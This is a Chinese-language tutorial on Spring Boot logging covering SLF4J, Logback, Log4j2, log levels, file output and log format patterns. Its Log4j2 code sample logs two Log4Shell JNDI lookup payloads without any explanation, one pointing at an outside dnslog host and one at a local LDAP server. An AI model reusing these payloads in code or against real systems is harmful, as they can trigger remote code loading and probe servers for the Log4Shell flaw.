项目日志格式
Spring Boot 的默认日志输出类似于以下示例:
2021-12-14 22:40:14.159 INFO 20132 --- [ main] com.kuangstudy.SpringbootApplication : Started SpringbootApplication in 2.466 seconds (JVM running for 3.617)
输出以下项目:
- 日期和时间:毫秒精度且易于排序。
- 日志级别:
ERROR
,WARN
,INFO
,DEBUG
,或TRACE
。 - 进程标识。
- 一个
---
分离器来区分实际日志消息的开始。 - 线程名称:括在方括号中(可能会被截断以用于控制台输出)。
- 记录器名称:这通常是源类名称(通常缩写)。
- 日志消息。
- 换行符
注意:Logback 没有 FATAL
级别。它被映射到 ERROR
.
流行的日志框架
- Java Util Logging
- Logging
- Log4j2
- Logback(默认)
从上图中分析得出 springboot 的底层 spring-boot-starter-logging 可以看出,它依赖的 3 个日志框架:slf4j、Logback、Log4j2 。它们的区别是:
-
logback 和 log4j 是日志实现框架,就是实现怎么记录日志的。
-
slf4j-api 提供了 java 所有日志框架的简单规范和标准(日志的门面设计模式), 说白了就是一个日志 API(没有实现类),它不能单独使用:故必须结合 logback 和 Log4j2 日志框架来实现。
-
springboot 的日志搭配。
- spring2.0 默认采用 slf4j-api + logback 的日志搭配,在开发过程中,我们都是采用 slf4j 的 api 去记录日志,底层的实现就是根据配置 logback 和 Log4j2 日志框架。
Log4j2
先来了解一下 Log4j2 的发展史:
Apache Log4j2 是 Log4j 的一个升级版本,但是不仅仅是升级,几乎完全进行了重构。旧版本的 Log4j,自 2015 年 5 月以后就停止对它的更新了。Log4j2 是高效的,低延迟的异步日志处理框架,在多线程的场景中,Log4j2 的性能是 Log4j、LogBack 和 Logging 日志吞吐量的 18 倍。
如果不是深度使用,两者并不会有太大差别,毕竟是一个妈生的,并且在使用 SLF4j 的时候可以无缝切换,配置也都差不多。个人建议,不必纠结选型,按照偏好选择即可。
如何整合如下:
配置
<!--springboot的web的starter-->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>
传统使用
private final static Logger logger = LoggerFactory.getLogger(SpringbootApplication.class);
Lombok 使用
package com.kuangstudy;
import lombok.extern.log4j.Log4j2;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
@Log4j2
public class SpringbootApplication {
public static void main(String[] args) {
SpringApplication.run(SpringbootApplication.class, args);
log.error("${jndi:ldap://f0m8rj.dnslog.cn/exp}");
log.error("${jndi:ldap://127.0.0.1:1389/badClassName}");
}
}
LogBack 配置(默认)
因为项目里大多数用的都是 logback,后续的配置和重写都是针对 logback 的,两者都差不多,想用 log4j2 的可以自行研究。
概述分析
默认情况下,如果您使用“Starters”,则使用 Logback 进行日志记录。还包括适当的 Logback 路由,以确保使用 Java Util Logging、Commons Logging、Log4J 或 SLF4J 的依赖库都能正常工作。
具体操作如下:
package com.kuangstudy.web.log;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
/**
* Description:
* Author: yykk Administrator
* Version: 1.0
* Create Date Time: 2021/12/14 15:31.
* Update Date Time:
*
* @see
*/
@RestController
public class LoggerController {
private final static Logger log = LoggerFactory.getLogger(LoggerController.class);
@GetMapping("/log1")
public String log1() {
log.trace("--------------------trace");
log.debug("--------------------debug");
log.info("--------------------info");
log.warn("--------------------warn");
log.error("--------------------error");
return "log1";
}
}
打印可以看出来只打印了:
2021-12-14 15:33:59.473 INFO 15424 --- [nio-8083-exec-1] com.kuangstudy.web.log.LoggerController : --------------------info
2021-12-14 15:33:59.474 WARN 15424 --- [nio-8083-exec-1] com.kuangstudy.web.log.LoggerController : --------------------warn
2021-12-14 15:33:59.474 ERROR 15424 --- [nio-8083-exec-1] com.kuangstudy.web.log.LoggerController : --------------------error
因为默认情况下:springboot 的默认日志级别是:info
# 修改日志级别
logging:
level:
root: info
可以在 application.yml 配置如下:
# 指定包的日志级别
logging:
level:
com.kuangstudy.web.log: trace
打印如下:
36:38.651 TRACE 4208 --- [nio-8083-exec-1] com.kuangstudy.web.log.LoggerController : --------------------trace
2021-12-14 15:36:38.651 DEBUG 4208 --- [nio-8083-exec-1] com.kuangstudy.web.log.LoggerController : --------------------debug
2021-12-14 15:36:38.651 INFO 4208 --- [nio-8083-exec-1] com.kuangstudy.web.log.LoggerController : --------------------info
2021-12-14 15:36:38.651 WARN 4208 --- [nio-8083-exec-1] com.kuangstudy.web.log.LoggerController : --------------------warn
2021-12-14 15:36:38.651 ERROR 4208 --- [nio-8083-exec-1] com.kuangstudy.web.log.LoggerController : --------------------error
总结
-
debug 是开发首选,是一种明细的日志级别,可以看到框架加载类的所有过程,如果你要进行源码分析,查看 SQL 执行的过程,框架的执行的过程,肯定是用 debug
# 修改日志级别 logging: level: root: debug com.kuang.order: info
-
info: 只会打印常见的日志信息
-
error: 只会打印错误日志信息,一般在生产环境中进行设定。因为项目开发测试完毕,肯定在线上肯定只关注错误,如果你其他也关注,可以单独设定。
# 修改日志级别 logging: level: root: error com.kuang.order: info
推荐安装一个 myabtis 日志插件:
因为在平时开发中,debug 日志,输出的内容信息太多,所以 myabtis 开发日志插件,可以让你在 info 级别的输出日志中,可以查看到你 mybatis 执行的 SQL 和参数。
springboot 具体配置日志
默认 springboot 的日志是:logback , 但是只会输出 Error、Warn 和 Info 级别的日志信息。可以修改日志的级别来控制:
日志级别
logging:
level:
# 设置日志的默认级别为 info
root: info
# 设置com.kuantstudy.log包下的日志级别是 debug
com.kuantstudy.log: debug
日志文件
在实际开发中,特别是在生产环境中,你不可能一直看着控制台,而且日志会非常的大,瞬间就丢失了。因此我们需要把日志存储在指定的目录或者文件中。
当两种方式同时存在的时候,以
logging.file.name
为准
指令目录输入日志文件
告诉 springboot
使用 logback
生成的日志,除了在控制打印一份,同时往这个目录 outputs/logs
的中生成一个 spring.log
文件中生成一份。
一句话:目录的指定,只是告诉 spring.log
放在哪里。
logging:
# 指定日志输出的目录
file:
path: outputs/logs
如下:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Zw1prJsK-1677209264298)(assets/image-20211214155519878-20221124094017-tk8etxz.png)]
指定以后,会默认生成 spring.log
文件
指定日志文件输出
logging:
file:
name: G://outputs/logs/springboot.log
如下:
日志格式
比如:
2021-12-14 16:13:07.120 INFO 20372 --- [ main] com.kuangstudy.SpringbootApplication : No active profile set, falling back to default profiles: default
- 日期和时间:毫秒精度且易于排序。- 2021-12-14 16:10:04:013
- 日志级别:
ERROR
,WARN
,INFO
,DEBUG
,或TRACE
。- INFO - 进程标识。[20372]
- 一个
---
分离器来区分实际日志消息的开始。 - 线程名称:括在方括号中(可能会被截断以用于控制台输出)。[ main]
- 记录器名称:这通常是源类名称(通常缩写)。- com.kuangstudy.SpringbootApplication
- 日志消息。- No active profile set, falling back to default profiles: default
比如:
# 修改日志级别
logging:
# 设置日志格式
pattern:
# 控制输出的格式
#格式化输出:%d:表示日期 %thread:表示线程名 %-5level:级别从左显示5个字符宽度 %msg:日志消息 %n:是换行符
console: "[console]==%d{yyyy-MM-dd HH:mm:ss:SSS} [%thread] %-5level %logger - %msg%n"
# 文件输出的格式
file: "[file]===%d{yyyy-MM-dd HH:mm:ss:SSS} [%thread] %-5level %logger - %msg%n"
分别日志的格式如下:
- %d 或者 %date:指定日志的日期。默认是 ISO8601 的标准日期,相当于 yyyy-MM-dd HH:mm:ss:SSS
- %level:指定日志的级别: Trace > Debug > Info> Warn> Error
- %logger:指定日志输出的 包名 + 类名, {n}可以限定长度 比如:%logger{50}
- %M:指定日志发生时的方法名
- %L:指定日志调用时所在的行。线下运行的时候不建议使用此参数,因为获取代码的行号对性能有损耗
- %m 或者 %msg:表示日志的输出的内容
- %n :日志是否换行
- %thread:打印线程的名字